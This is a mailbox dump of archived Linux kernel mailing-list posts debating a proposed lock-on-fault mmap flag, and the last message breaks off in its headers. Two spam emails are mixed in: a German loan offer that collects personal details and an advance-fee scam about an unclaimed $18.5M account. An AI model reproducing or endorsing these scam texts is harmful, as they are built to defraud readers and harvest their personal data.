        Mon, 22 Jun 2015 05:38:27 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20150619164333.GD2329-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org>
User-Agent: Mutt/1.5.23 (2014-03-12)
Original-Sender: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-api.vger.kernel.org>
X-Mailing-List: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.api:12271 gmane.linux.ports.alpha:3149 gmane.linux.kernel:1981443 gmane.linux.ports.mips.general:49152 gmane.linux.ports.parisc:25789 gmane.linux.ports.ppc64.devel:114515 gmane.linux.ports.sparc:21166 gmane.linux.kernel.mm:134659 gmane.linux.kernel.cross-arch:28147
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.api/12271>

On Fri 19-06-15 12:43:33, Eric B Munson wrote:
> On Fri, 19 Jun 2015, Michal Hocko wrote:
> 
> > On Thu 18-06-15 16:30:48, Eric B Munson wrote:
> > > On Thu, 18 Jun 2015, Michal Hocko wrote:
> > [...]
> > > > Wouldn't it be much more reasonable and straightforward to have
> > > > MAP_FAULTPOPULATE as a counterpart for MAP_POPULATE which would
> > > > explicitly disallow any form of pre-faulting? It would be usable for
> > > > other usecases than with MAP_LOCKED combination.
> > > 
> > > I don't see a clear case for it being more reasonable, it is one
> > > possible way to solve the problem.
> > 
> > MAP_FAULTPOPULATE would be usable for other cases as well. E.g. fault
> > around is all or nothing feature. Either all mappings (which support
> > this) fault around or none. There is no way to tell the kernel that
> > this particular mapping shouldn't fault around. I haven't seen such a
> > request yet but we have seen requests to have a way to opt out from
> > a global policy in the past (e.g. per-process opt out from THP). So
> > I can imagine somebody will come with a request to opt out from any
> > speculative operations on the mapped area in the future.
> > 
> > > But I think it leaves us in an even
> > > more akward state WRT VMA flags.  As you noted in your fix for the
> > > mmap() man page, one can get into a state where a VMA is VM_LOCKED, but
> > > not present.  Having VM_LOCKONFAULT states that this was intentional, if
> > > we go to using MAP_FAULTPOPULATE instead of MAP_LOCKONFAULT, we no
> > > longer set VM_LOCKONFAULT (unless we want to start mapping it to the
> > > presence of two MAP_ flags).  This can make detecting the MAP_LOCKED +
> > > populate failure state harder.
> > 
> > I am not sure I understand your point here. Could you be more specific
> > how would you check for that and what for?
> 
> My thought on detecting was that someone might want to know if they had
> a VMA that was VM_LOCKED but had not been made present becuase of a
> failure in mmap.  We don't have a way today, but adding VM_LOCKONFAULT
> is at least explicit about what is happening which would make detecting
> the VM_LOCKED but not present state easier. 

One could use /proc/<pid>/pagemap to query the residency.

> This assumes that
> MAP_FAULTPOPULATE does not translate to a VMA flag, but it sounds like
> it would have to.

Yes, it would have to have a VM flag for the vma.

> > From my understanding MAP_LOCKONFAULT is essentially
> > MAP_FAULTPOPULATE|MAP_LOCKED with a quite obvious semantic (unlike
> > single MAP_LOCKED unfortunately). I would love to also have
> > MAP_LOCKED|MAP_POPULATE (aka full mlock semantic) but I am really
> > skeptical considering how my previous attempt to make MAP_POPULATE
> > reasonable went.
> 
> Are you objecting to the addition of the VMA flag VM_LOCKONFAULT, or the
> new MAP_LOCKONFAULT flag (or both)? 

I thought the MAP_FAULTPOPULATE (or any other better name) would
directly translate into VM_FAULTPOPULATE and wouldn't be tight to the
locked semantic. We already have VM_LOCKED for that. The direct effect
of the flag would be to prevent from population other than the direct
page fault - including any speculative actions like fault around or
read-ahead.

> If you prefer that MAP_LOCKED |
> MAP_FAULTPOPULATE means that VM_LOCKONFAULT is set, I am fine with that
> instead of introducing MAP_LOCKONFAULT.  I went with the new flag
> because to date, we have a one to one mapping of MAP_* to VM_* flags.
> 
> > 
> > > If this is the preferred path for mmap(), I am fine with that. 
> > 
> > > However,
> > > I would like to see the new system calls that Andrew mentioned (and that
> > > I am testing patches for) go in as well. 
> > 
> > mlock with flags sounds like a good step but I am not sure it will make
> > sense in the future. POSIX has screwed that and I am not sure how many
> > applications would use it. This ship has sailed long time ago.
> 
> I don't know either, but the code is the question, right?  I know that
> we have at least one team that wants it here.
> 
> > 
> > > That way we give users the
> > > ability to request VM_LOCKONFAULT for memory allocated using something
> > > other than mmap.
> > 
> > mmap(MAP_FAULTPOPULATE); mlock() would have the same semantic even
> > without changing mlock syscall.
> 
> That is true as long as MAP_FAULTPOPULATE set a flag in the VMA(s).  It
> doesn't cover the actual case I was asking about, which is how do I get
> lock on fault on malloc'd memory?

OK I see your point now. We would indeed need a flag argument for mlock.
-- 
Michal Hocko
SUSE Labs

From - Thu Nov 08 21:37:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: MASTHAVEN LOAN FINANCE <rocio.suarez@dpss.gob.ec>
Newsgroups: gmane.linux.ports.parisc
Subject: Darlehen Angebot
Date: Wed, 17 Jun 2015 19:30:18 -0500 (ECT)
Lines: 47
Approved: news@gmane.org
Message-ID: <1314982656.4520631.1434587418250.JavaMail.root__34197.8551391096$1434977345$gmane$org@dpss.gob.ec>
Reply-To: "masthavenloanfinance@gmail.com" <masthavenloanfinance@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1434977345 31019 80.91.229.3 (22 Jun 2015 12:49:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Jun 2015 12:49:05 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 22 14:48:59 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Z719i-00030t-Ka
	for glpp-linux-parisc@plane.gmane.org; Mon, 22 Jun 2015 14:48:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754806AbbFVMsy convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Jun 2015 08:48:54 -0400
Original-Received: from server.dpss.gob.ec ([190.152.151.93]:33519 "EHLO
	mail.dpss.gob.ec" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754739AbbFVMsx convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Jun 2015 08:48:53 -0400
X-Greylist: delayed 129391 seconds by postgrey-1.27 at vger.kernel.org; Mon, 22 Jun 2015 08:48:52 EDT
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mail.dpss.gob.ec (Postfix) with ESMTP id C396CB185414;
	Sat, 20 Jun 2015 11:23:10 -0500 (ECT)
X-Virus-Scanned: amavisd-new at dpss.gob.ec
Original-Received: from mail.dpss.gob.ec ([127.0.0.1])
	by localhost (mail.dpss.gob.ec [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 5imrGyfWDj30; Sat, 20 Jun 2015 11:23:04 -0500 (ECT)
Original-Received: from mail.dpss.gob.ec (mail.dpss.gob.ec [190.152.151.93])
	by mail.dpss.gob.ec (Postfix) with ESMTP id 2094CB2019BC;
	Wed, 17 Jun 2015 19:30:20 -0500 (ECT)
X-Originating-IP: [41.220.69.124]
X-Mailer: Zimbra 7.2.1_GA_2790 (zclient/7.2.1_GA_2790)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25790
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25790>




Guten Tag,

 Dies ist MASTHAVEN Darlehensfinanzierung Darlehen bieten.

   MASTHAVEN Kreditfinanzierung bietet flexible und erschwingliche Kred=
ite f=C3=BCr jeden Zweck, damit Sie Ihre finanziellen Ziele zu erreiche=
n. wir Darlehen zu niedrigen Zinssatz von 1,5%. Hier sind einige wichti=
ge Merkmale der pers=C3=B6nlichen Kredit von MASTHAVEN Kreditfinanzieru=
ng angeboten. Hier sind die Loan Factors arbeiten wir mit den f=C3=BChr=
enden britischen Broker, die den Zugang zu Top-Kreditgeber haben und in=
 der Lage, die beste finanzielle L=C3=B6sung zu einem erschwinglichen p=
rice.Please finden, wenn Sie interessiert sind kontaktieren Sie uns bit=
te =C3=BCber diese E-Mail: masthavenloanfinance@hotmail.com


Nach der Reaktion, werden Sie einen Antrag auf Kredit fill erhalten. Ke=
ine soziale Sicherheit und keine Bonit=C3=A4tspr=C3=BCfung, 100% garant=
iert.

Es wird uns eine Ehre, wenn Sie uns erlauben, zu Ihren Diensten.


Mehr Informationen ben=C3=B6tigt

Ihre Namen:
Adresse: ...........
Telefon: ...........
Ben=C3=B6tigte Menge: ........
Dauer: ...............
Beruf: ...........
Monatliches Einkommen Level: ........
Geschlecht: ...............
Geburtsdatum: ........
Status: ..................
Land: ..........
Zweck: .........

Treffen Sie Ihre finanziellen Bed=C3=BCrfnisse ist unser Stolz.

Henry Moore
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in


From - Thu Nov 08 21:37:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson-JqFfY2XvxFXQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.kernel.api,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch
Subject: Re: [RESEND PATCH V2 1/3] Add mmap flag to request pages are locked
 after page fault
Date: Mon, 22 Jun 2015 10:18:06 -0400
Lines: 153
Approved: news@gmane.org
Message-ID: <20150622141806.GE2329@akamai.com>
References: <1433942810-7852-1-git-send-email-emunson@akamai.com>
 <1433942810-7852-2-git-send-email-emunson@akamai.com>
 <20150618152907.GG5858@dhcp22.suse.cz>
 <20150618203048.GB2329@akamai.com>
 <20150619145708.GG4913@dhcp22.suse.cz>
 <20150619164333.GD2329@akamai.com>
 <20150622123826.GF4430@dhcp22.suse.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="8vCeF2GUdMpe9ZbK"
X-Trace: ger.gmane.org 1434982699 6025 80.91.229.3 (22 Jun 2015 14:18:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Jun 2015 14:18:19 +0000 (UTC)
Cc: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org, linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Michal Hocko <mhocko-AlSwsSmVLrQ@public.gmane.org>
Original-X-From: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Mon Jun 22 16:18:13 2015
Return-path: <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1Z72Y6-0003v9-RZ
	for glka-linux-api-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Mon, 22 Jun 2015 16:18:11 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752136AbbFVOSJ (ORCPT <rfc822;glka-linux-api@m.gmane.org>);
	Mon, 22 Jun 2015 10:18:09 -0400
Original-Received: from prod-mail-xrelay07.akamai.com ([72.246.2.115]:18846 "EHLO
	prod-mail-xrelay07.akamai.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751637AbbFVOSI (ORCPT
	<rfc822;linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Mon, 22 Jun 2015 10:18:08 -0400
Original-Received: from prod-mail-xrelay07.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 9B9C14966B;
	Mon, 22 Jun 2015 14:18:06 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay07.akamai.com (Postfix) with ESMTP id 851ED4965C;
	Mon, 22 Jun 2015 14:18:06 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1434982686; bh=2ew5455QDHBS2b4BqeEA5ywd3Tn3C1LgIhmyR6ciiKo=;
	h=Date:From:To:Cc:Subject:References:In-Reply-To:From;
	b=S+6EXIcSU4O2vFSQXk8cadPoUL0oe53RuZGlHlu82t4LoLyi2f2Nl7HsjvnRxUtzW
	 7ASysD9/tRkblPZQEhhxD7CS1IP0j8QOxF6cszoAp0m4rIF5DDsR7KZ6ctnXHnu7Vn
	 l9lcCtIfCsejdj3q8FxqkRep7w5O0z2f6ChFmYDw=
Original-Received: from akamai.com (lappy-486.kendall.corp.akamai.com [172.28.12.253])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id 7F97B202C;
	Mon, 22 Jun 2015 14:18:06 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20150622123826.GF4430-2MMpYkNvuYDjFM9bn6wA6Q@public.gmane.org>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-api-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-api.vger.kernel.org>
X-Mailing-List: linux-api-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.api:12272 gmane.linux.ports.alpha:3151 gmane.linux.kernel:1981504 gmane.linux.ports.mips.general:49153 gmane.linux.ports.parisc:25791 gmane.linux.ports.ppc64.devel:114518 gmane.linux.ports.sparc:21168 gmane.linux.kernel.mm:134664 gmane.linux.kernel.cross-arch:28149
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.api/12272>


--8vCeF2GUdMpe9ZbK
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, 22 Jun 2015, Michal Hocko wrote:

> On Fri 19-06-15 12:43:33, Eric B Munson wrote:
> > On Fri, 19 Jun 2015, Michal Hocko wrote:
> >=20
> > > On Thu 18-06-15 16:30:48, Eric B Munson wrote:
> > > > On Thu, 18 Jun 2015, Michal Hocko wrote:
> > > [...]
> > > > > Wouldn't it be much more reasonable and straightforward to have
> > > > > MAP_FAULTPOPULATE as a counterpart for MAP_POPULATE which would
> > > > > explicitly disallow any form of pre-faulting? It would be usable =
for
> > > > > other usecases than with MAP_LOCKED combination.
> > > >=20
> > > > I don't see a clear case for it being more reasonable, it is one
> > > > possible way to solve the problem.
> > >=20
> > > MAP_FAULTPOPULATE would be usable for other cases as well. E.g. fault
> > > around is all or nothing feature. Either all mappings (which support
> > > this) fault around or none. There is no way to tell the kernel that
> > > this particular mapping shouldn't fault around. I haven't seen such a
> > > request yet but we have seen requests to have a way to opt out from
> > > a global policy in the past (e.g. per-process opt out from THP). So
> > > I can imagine somebody will come with a request to opt out from any
> > > speculative operations on the mapped area in the future.
> > >=20
> > > > But I think it leaves us in an even
> > > > more akward state WRT VMA flags.  As you noted in your fix for the
> > > > mmap() man page, one can get into a state where a VMA is VM_LOCKED,=
 but
> > > > not present.  Having VM_LOCKONFAULT states that this was intentiona=
l, if
> > > > we go to using MAP_FAULTPOPULATE instead of MAP_LOCKONFAULT, we no
> > > > longer set VM_LOCKONFAULT (unless we want to start mapping it to the
> > > > presence of two MAP_ flags).  This can make detecting the MAP_LOCKE=
D +
> > > > populate failure state harder.
> > >=20
> > > I am not sure I understand your point here. Could you be more specific
> > > how would you check for that and what for?
> >=20
> > My thought on detecting was that someone might want to know if they had
> > a VMA that was VM_LOCKED but had not been made present becuase of a
> > failure in mmap.  We don't have a way today, but adding VM_LOCKONFAULT
> > is at least explicit about what is happening which would make detecting
> > the VM_LOCKED but not present state easier.=20
>=20
> One could use /proc/<pid>/pagemap to query the residency.
>=20
> > This assumes that
> > MAP_FAULTPOPULATE does not translate to a VMA flag, but it sounds like
> > it would have to.
>=20
> Yes, it would have to have a VM flag for the vma.
>=20
> > > From my understanding MAP_LOCKONFAULT is essentially
> > > MAP_FAULTPOPULATE|MAP_LOCKED with a quite obvious semantic (unlike
> > > single MAP_LOCKED unfortunately). I would love to also have
> > > MAP_LOCKED|MAP_POPULATE (aka full mlock semantic) but I am really
> > > skeptical considering how my previous attempt to make MAP_POPULATE
> > > reasonable went.
> >=20
> > Are you objecting to the addition of the VMA flag VM_LOCKONFAULT, or the
> > new MAP_LOCKONFAULT flag (or both)?=20
>=20
> I thought the MAP_FAULTPOPULATE (or any other better name) would
> directly translate into VM_FAULTPOPULATE and wouldn't be tight to the
> locked semantic. We already have VM_LOCKED for that. The direct effect
> of the flag would be to prevent from population other than the direct
> page fault - including any speculative actions like fault around or
> read-ahead.

I like the ability to control other speculative population, but I am not
sure about overloading it with the VM_LOCKONFAULT case.  Here is my
concern.  If we are using VM_FAULTPOPULATE | VM_LOCKED to denote
LOCKONFAULT, how can we tell the difference between someone that wants
to avoid read-ahead and wants to use mlock()?  This might lead to some
interesting states with mlock() and munlock() that take flags.  For
instance, using VM_LOCKONFAULT mlock(MLOCK_ONFAULT) followed by
munlock(MLOCK_LOCKED) leaves the VMAs in the same state with
VM_LOCKONFAULT set.  If we use VM_FAULTPOPULATE, the same pair of calls
would clear VM_LOCKED, but leave VM_FAULTPOPULATE.  It may not matter in
the end, but I am concerned about the subtleties here.

>=20
> > If you prefer that MAP_LOCKED |
> > MAP_FAULTPOPULATE means that VM_LOCKONFAULT is set, I am fine with that
> > instead of introducing MAP_LOCKONFAULT.  I went with the new flag
> > because to date, we have a one to one mapping of MAP_* to VM_* flags.
> >=20
> > >=20
> > > > If this is the preferred path for mmap(), I am fine with that.=20
> > >=20
> > > > However,
> > > > I would like to see the new system calls that Andrew mentioned (and=
 that
> > > > I am testing patches for) go in as well.=20
> > >=20
> > > mlock with flags sounds like a good step but I am not sure it will ma=
ke
> > > sense in the future. POSIX has screwed that and I am not sure how many
> > > applications would use it. This ship has sailed long time ago.
> >=20
> > I don't know either, but the code is the question, right?  I know that
> > we have at least one team that wants it here.
> >=20
> > >=20
> > > > That way we give users the
> > > > ability to request VM_LOCKONFAULT for memory allocated using someth=
ing
> > > > other than mmap.
> > >=20
> > > mmap(MAP_FAULTPOPULATE); mlock() would have the same semantic even
> > > without changing mlock syscall.
> >=20
> > That is true as long as MAP_FAULTPOPULATE set a flag in the VMA(s).  It
> > doesn't cover the actual case I was asking about, which is how do I get
> > lock on fault on malloc'd memory?
>=20
> OK I see your point now. We would indeed need a flag argument for mlock.
> --=20
> Michal Hocko
> SUSE Labs

--8vCeF2GUdMpe9ZbK
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1

iQIcBAEBAgAGBQJViBkeAAoJELbVsDOpoOa9pkcQALlaWWdIjaV+PbMT84IJJRE8
xU+rL1vQjFbf3KGAXPxta7KjvT0OS2mPJ15WQE58XhTeGslpwB/Ujsd9n+H3TeQ8
lk/F5wFrTvwGn5WcijHJ9xUslamjI2ewEzCUX8BIQWh/bG2X3pIpjdgNJHW1Ofb0
FpUYTqL/4EnYzDqhY2CFW6OSruru9YagVJQ2NPu6+wkdkhAtt/CpESTVF+vbJoKW
ewpOGghLVYWnjbRPB5PFAnXhjmtEpzPIOLeE62GkuQDQWdFNdnqlUMz/ZZmUyRGB
RBmPUtT3jhlUlhnkI0qY/z27S9w+mB2yvIBclPUBrGtv/73QICHmHd+rYE11YGXf
8zIglfn69cX5deCUBmdkmUsGiOZpbwVNVkI1HmvL+wMDZEwZyT3bZnSyAMyUe385
FVt+HGvq5Afxk5ooL6zPty283KGLZiKURj8Zw/g5YRBO6/B/7NRvct9x+0OzSdW0
C3u9sTfLa5wI581qumQt0cODGdhdO3SNjov9SpeZs8firqxEKhxn0pNjs7heFu7i
HQHoRJGhc8RXqjp8QsxeQL4+tepDvuAnxU53YJZxBwze6AwuWQ8WEomP51ebTnKW
xNwU2AVf6WZ3KFLyL7gjn7YxfkQll67pHPwn6BddK4SGdT5VVgX1h3MUfvo86f2V
uvYltwMOPPyaFw18cEx1
=67XH
-----END PGP SIGNATURE-----

--8vCeF2GUdMpe9ZbK--

From - Thu Nov 08 21:37:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Herr Martins D Weber" <test@fumeilaistone.cn>
Newsgroups: gmane.spam.detected,gmane.linux.ports.parisc
Subject: Lieber Freund!!!
Date: Sat, 13 Jun 2015 05:14:17 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <9D68CE35-B679-4AAF-A49F-CE77F9D3D665__23974.7994732626$1435056726$gmane$org@fumeilaistone.cn>
Reply-To: <martinsdweber@aim.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=Windows-1251
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1435056726 25964 80.91.229.3 (23 Jun 2015 10:52:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Jun 2015 10:52:06 +0000 (UTC)
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 23 12:51:53 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Z7Lo0-0000VE-5R
	for glpp-linux-parisc@plane.gmane.org; Tue, 23 Jun 2015 12:51:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754583AbbFWKvX convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Jun 2015 06:51:23 -0400
Original-Received: from [115.29.104.60] ([115.29.104.60]:49368 "HELO fumeilaistone.cn"
	rhost-flags-FAIL-FAIL-OK-FAIL) by vger.kernel.org with SMTP
	id S1753706AbbFWKvV convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Jun 2015 06:51:21 -0400
X-Greylist: delayed 166896 seconds by postgrey-1.27 at vger.kernel.org; Tue, 23 Jun 2015 06:51:13 EDT
Original-Received: from User (82.159.123.133.dyn.user.ono.com [82.159.123.133])
	by fumeilaistone.cn
	; Sun, 14 Jun 2015 23:13:03 +0800
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Antivirus: avast! (VPS 150614-0, 06/14/2015), Outbound message
X-Antivirus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
X-Spam-Report: 8.1 points;
 *  1.6 DATE_IN_PAST_24_48 Date: is 24 to 48 hours before Received: date
 *  1.1 NA_DOLLARS BODY: Talks about a million North American dollars
 *  1.2 US_DOLLARS_3 BODY: Mentions millions of $ ($NN,NNN,NNN.NN)
 *  4.2 FORGED_MUA_OUTLOOK Forged mail pretending to be from MS Outlook
Xref: news.gmane.org gmane.spam.detected:5291614 gmane.linux.ports.parisc:25792
Archived-At: <http://permalink.gmane.org/gmane.spam.detected/5291614>

Lieber Freund!!!

Ich vermute das diese E-Mail eine ?berraschung f?r Sie sein wird, aber =
es ist wahr.Ich bin bei einer routinen ?berpr?fung in meiner Bank (Stan=
dardBank PLC von S?d Afrika) wo ich arbeite, auf einem Konto gesto?en, =
was nicht in anspruch genommen worden ist, wo derzeit USD$18.5M (Achtze=
hn Million, F?nf Hundert Tausend, US Dollar)  gutgeschrieben sind.Diese=
s Konto geh?rte Herrn Manfred Becker, der ein Kunde in unsere Bank war,=
 der leider verstorben ist. Herrn Manfred Becker war ein geb?rtiger Deu=
tscher.

Damit es mir m?glich ist dieses Geld $18,500,000 inanspruch zunehmen,be=
n?tige ich die zusammenarbeit eines Ausl?ndischen Partners wie Sie,den =
ich als Verwandter und Erbe des verstorbenen Herrn Manfred Becker vorst=
ellen kann,damit wir das Geld inanspruch nehmen k?nnen. F?r diese Unter=
st?tzung erhalten Sie 30% der Erbschaftsumme und die restlichen 70% tei=
le ich mirmit meinen zwei Arbeitskollegen, die mich bei dieser Transakt=
ion ebenfalls unterst?tzen.


Wenn Sie interessiert sind, k?nnen Sie mir bitte eine E-Mail schicken, =
damit ich Ihnen mehr Details zukommen lassen kann. N.B.BITTE SENDEN SIE=
 MIR Martins D Weber ANTWORT ZU durch mein E-mail: ( martinsdweber@aim.=
com ) f?R VERTRAULICHEN GRUND. Schicken Sie keine POST ZU MEINEM B?RO-E=
-MAIL.(martinsdweber@aim.com )


If you understand english,please  kindly reply with english ( martinsdw=
eber@aim.com )

Mit freundlichen Gr=FC=DFen

Herr Martins D Weber

---
This email has been checked for viruses by Avast antivirus software.
https://www.avast.com/antivirus


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Vlastimil Babka <vbabka@suse.cz>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: Re: [RESEND PATCH V2 1/3] Add mmap flag to request pages are locked
 after page fault
Date: Tue, 23 Jun 2015 14:45:17 +0200
Lines: 143
Approved: news@gmane.org
Message-ID: <558954DD.4060405@suse.cz>
References: <1433942810-7852-1-git-send-email-emunson@akamai.com> <1433942810-7852-2-git-send-email-emunson@akamai.com> <20150618152907.GG5858@dhcp22.suse.cz> <20150618203048.GB2329@akamai.com> <20150619145708.GG4913@dhcp22.suse.cz> <20150619164333.GD2329@akamai.com> <20150622123826.GF4430@dhcp22.suse.cz> <20150622141806.GE2329@akamai.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1435063537 8214 80.91.229.3 (23 Jun 2015 12:45:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Jun 2015 12:45:37 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Eric B Munson <emunson@akamai.com>, Michal Hocko <mhocko@suse.cz>
Original-X-From: linux-alpha-owner@vger.kernel.org Tue Jun 23 14:45:30 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1Z7NZx-0007dg-MR
	for lnx-linux-alpha@plane.gmane.org; Tue, 23 Jun 2015 14:45:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932964AbbFWMp0 (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Tue, 23 Jun 2015 08:45:26 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:52745 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932988AbbFWMpW (ORCPT <rfc822;linux-alpha@vger.kernel.org>);
	Tue, 23 Jun 2015 08:45:22 -0400
